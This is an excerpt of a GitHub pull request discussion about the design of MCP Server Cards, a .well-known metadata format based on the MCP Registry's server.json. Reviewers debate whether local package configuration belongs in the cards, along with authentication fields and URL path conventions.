Wide Web [W3C.REC-webarch-20041215], well-known URIs are not intended
for general information retrieval or establishment of large URI
namespaces on the Web. Rather, they are designed to facilitate
discovery of information on a site when it isn't practical to use
other mechanisms;
for example, when discovering policy that needs to
be evaluated before a resource is accessed, or when using multiple
round-trips is judged detrimental to performance.

As such, the well-known URI space was created with the expectation
that it will be used to make site-wide policy information and other
metadata available directly
(if sufficiently concise), or provide
references to other URIs that provide such metadata.

That being said, the well-known endpoint https://www.example.com/.well-known/mcp providing an array of mcp-server-cards will expose only MCP-servers with transport type streamable-http or sse because only this type of MCP-servers are indeed hosted on the site www.example.com.

MCP-servers with transport protocol stdio are NOT hosted on www.example.com so these type on MCP-servers don't belong at all in the mcp-server-card.

Particularly then each remote (StreamableHttpTransport or SseTransport) should define an authentication mechanism "basic", "bearer", "oauth2" and probably also "none" (?).

Here an example for the ORD protocol where similar problems were resolved in this way.
The well-known site endpoint returns an array of ORD documents where each document has it's own access strategy, can be seen as authentication mechanism in this discussion here.
Doc(1)
Doc(2)

Copy link
Contributor

@dsp dsp Jan 30, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I very much agree with @localden and @maiargu. The Server card should care about exposing HTTP and only that. We should aim for minimal information not maximal information. In fact, den has me believe we don't want any local package installation mechanisms at all. We might be okay to "refer" to a the registry so that clients trusting the registry can refer to that, but not more.

### Why Mirror `server.json`'s shape?

By structuring server cards to mirror the initialization response, we:
The MCP Registry team has iterated on a shape that properly enables MCP server configuration and connection across hundreds of industry stakeholders over the past year, so we have reasonably high confidence that this shape will work for most use cases.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is not a good reason. The reason should be something along the lines of that the problems are similar or equal.

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

How is this? d5101ef

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe more like:

MCP Server Cards aim to provide a static representation of server metadata and capabilities so that clients can discover and connect to them without prior knowledge of their existence.

The MCP Registry and it's corresponding server.json share the same goal but for different consumers. Consequently keeping both as closely aligned as possible ensures that we don't have to re-invent and diverge and that developers have to only rely on one parser.

tadasant and others added 5 commits January 29, 2026 06:54
Co-authored-by: David Soria Parra <14013+dsp@users.noreply.github.com>
Co-authored-by: David Soria Parra <14013+dsp@users.noreply.github.com>
@tadasant
Copy link
Member Author

Sounds like we are close, just stuck on #2152 (comment) -- I've pinged Den and if any security-forward folks are reading, would appreciate more opinions on this.

Summary of the question --

  • We currently have this server.json shape we use for statically defining servers in the Registry
  • Conceptually, this is the same concept that we want to bring to the decentralized internet for discovery/connection via e.g. .well-known paths
  • It's a no-brainer for remotes, where we just need a place to advertise a URL and some basic metadata
  • We've agreed that we also want to advertise local implementations alongside the remotes. So an MCP client can, for example, agentically discover an MCP server but then choose to download a docker image and run it locally instead of necessarily performing all operations over an OAuth'd connection to a remote server
  • Where we're stuck: is it a security concern to expose local server configuration details via a .well-known endpoint? This is details like environmentVariables names and runtimeArguments formatting.

My position is that by omitting any details, we break the ability to actually connect to these servers (the connection just won't work if we omit a required environment variable name or runtime argument). And on the security front, I would expect maintainers to guard their Server Card if it contains truly sensitive information (which is not the case for any of the thousands of servers published with these details on GitHub, nor for the many local servers documented on official docs pages of various SaaS's). But I acknowledge I would have a gap in properly understanding deeper enterprise scenarios here.

@BobDickinson
Copy link

  • Where we're stuck: is it a security concern to expose local server configuration details via a .well-known endpoint? This is details like environmentVariables names and runtimeArguments formatting.

In its current form the server.json provides remotes (service endpoints that an agent can connect to), and packages (instructions for an agent to install, run, and connect to an instance of a server). The latter is where this potential security concern arises.

A package entry really amounts to a description of how to install and run the MCP server software package, and many vendors have chosen to provide this option in their published registry entries. I would argue (being very familiar with that data) that in no case was the registry server.json the first disclosure of any configuration details. Because this is installable software, and almost entirely open source, those details were already exposed in their repos, generally in the README.md. The server.json has made it easier for my agent to install, configure, and run these servers, but all it really did was remove the previous step of going to the repo and reading the README (or worst case, looking at the code).

And packages are optional. If a publisher decided that they only wanted a particular ServerCard to contain information for the endpoints hosted there (or by that entity), the are free to omit packages from that ServerCard (and potentially still publish them to the registry). That doesn't require changing the shape of the server.json/ServerCard.

Leaving packages and their details (including environment var names and runtime arguments) allows ServerCard publishers to include those details if they want to (and we know from published registry entries that many publishers elect to do that). And again, I am not aware of a single case where the server.json is the first or only disclosure of that data.

I'm a big fan (as a consumer of server.json, and soon ServerCards) of keeping these shapes aligned, and as a potential publisher, of allowing expression of packages (and their configuration) in my ServerCard.

Copy link

@ognis1205 ognis1205 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I also agree that MCP Server Cards should remain compatible with server.json, ideally as a strict subset.

If the two schemas are intentionally not identical (or if one is a strict subset of the other), I think it would be important to explicitly document the rationale and design principles behind those differences, especially given the security and disclosure considerations discussed here.

Comment on lines +49 to 58
Example:

- "Restaurant A" works with platform "Restaurant Reservations SaaS" to provide MCP-powered bookings for their restaurant
- Restaurant A also works with platform "Jobs SaaS" to provide MCP-powered job listings to prospective job seekers
- Restaurant A would advertise the two relevant AI Cards at `restaurant-a.com/.well-known/ai-catalog.json`
- Restaurant Reservations SaaS would have many Server Cards at `restaurant-reservations-saas.com/.well-known/mcp/server-card/*`, including entries for each of Restaurant A (`restaurant-reservations-saas.com/.well-known/mcp/server-card/restaurant-a`), Restaurant B (`restaurant-reservations-saas.com/.well-known/mcp/server-card/restaurant-b`), etc.
- Jobs Saas would have many Server Cards at `jobs-saas.com/.well-known/mcp/server-card/*`, including entries for each of Restaurant A (`jobs-saas.com/.well-known/mcp/server-card/restaurant-a`), Coffee Shop B (`jobs-saas.com/.well-known/mcp/server-card/coffee-shop-b`), etc.

We can develop and iterate on MCP Server Cards largely independently from the broader effort to integrate with AI Cards, as long as we maintain some integration point so it is possible to understand when an entry in an AI Card references an MCP Server Card that is hosted and maintained elsewhere.

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If this design intends to follow the RFC 8414 well-known derivation model, the identifier under /.well-known/mcp/server-card/* should be mechanically derived from the MCP server's URL path, rather than being an arbitrary identifier.

In that case, servers hosted at paths like /mcp/{server} would result in URLs such as
/.well-known/mcp/server-card/mcp/{server}, which may be somewhat redundant and unintuitive.

If this is the intended approach, it may be worth explicitly documenting this derivation rule, to make it clear that the path segment under /.well-known/mcp/server-card/* is not an arbitrary identifier but is derived from the MCP server's URL path.

Comment on lines 348 to 350
- **URI**: `mcp://server-card.json`
- **MIME type**: `application/json`
- **Resource type**: Static resource containing the server card JSON

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If the .json suffix was intentionally dropped from the .well-known endpoint, it might be worth considering the same treatment for the MCP resource URI as well, i.e., mcp://server-card instead of mcp://server-card.json, for consistency.

@dsp
Copy link
Contributor

dsp commented Jan 30, 2026

I think we all agree that Server Cards should be a subset of server.json. They should have the same shape. It should be trivial to point a framework to a server.json and let it expose a server card.

@dsp-ant dsp-ant closed this Jan 30, 2026
@dsp-ant dsp-ant reopened this Jan 30, 2026
@dsp-ant dsp-ant merged commit 125fb1f into modelcontextprotocol:sep/mcp-server-cards Jan 30, 2026
6 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.